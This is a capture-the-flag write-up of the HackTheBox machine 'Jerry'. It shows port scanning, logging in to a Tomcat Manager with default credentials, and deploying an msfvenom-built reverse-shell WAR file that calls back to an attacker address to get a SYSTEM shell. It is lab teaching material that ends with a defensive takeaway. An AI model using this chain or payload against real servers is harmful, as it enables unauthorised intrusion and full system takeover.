HTB: Jerry

Overview

Jerry is an easy HackTheBox Windows machine that demonstrates just how dangerous default credentials on an administrative interface can be. Apache Tomcat 7.0.88’s manager application accepts a common default credential pair, granting access to deploy a malicious .WAR file that executes with SYSTEM privileges the moment it’s requested, collapsing initial access and privilege escalation into a single step.

Attack Chain

• Scan the target and find a single open port, 8080, running Apache Tomcat 7.0.88
• Browse to /manager/status and get access denied at /manager/html
• Try common Tomcat default credentials against the manager login
• Log in to the Tomcat Manager application
• Generate a Java reverse shell payload as a .WAR file with msfvenom
• Upload and deploy the .WAR file through the manager interface
• Trigger the payload by browsing to its deployed path
• Catch a shell running as nt authority\system
• Read both the user and root flags

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.136.9; export NAME=JERRY; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -p- -v -oA scans/nmap_allports_$NAME

The only open TCP port is:

8080

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -sC -sV -oA scans/nmap_initial_$NAME -v

Web Enumeration

Apache Tomcat Manager

Browsing to port 8080 shows the Apache Tomcat 7.0.88 default page.

We navigate to /manager/status.

Trying to access the manager application at /manager/html gets us access denied. Tomcat commonly ships with tomcat:tomcat as default credentials, but we’ll also keep tomcat:s3cret as an option.

We try the credentials above against /manager/html and are able to log in.

Foothold

Deploying a Malicious WAR File

Scrolling down the manager page, we have the option to upload and deploy a .WAR file, which we can use to upload a WAR-based reverse shell.

We use msfvenom to generate the payload.

msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.176 LPORT=443 -f war -o shell.war

We upload the file.

It appears listed under Applications. Clicking the new /shell path executes our payload.

We have a shell as nt authority\system.

We read the user.txt and root.txt flags.

Key Takeaways

Jerry is a clean illustration of why administrative interfaces should never ship with, or retain, default credentials. The Tomcat Manager application is explicitly designed to deploy and run arbitrary web applications, so once its login is bypassed with a guessable credential pair, deploying a malicious .WAR file is a fully supported feature rather than an exploit, and it runs with the same high privileges as the Tomcat service itself.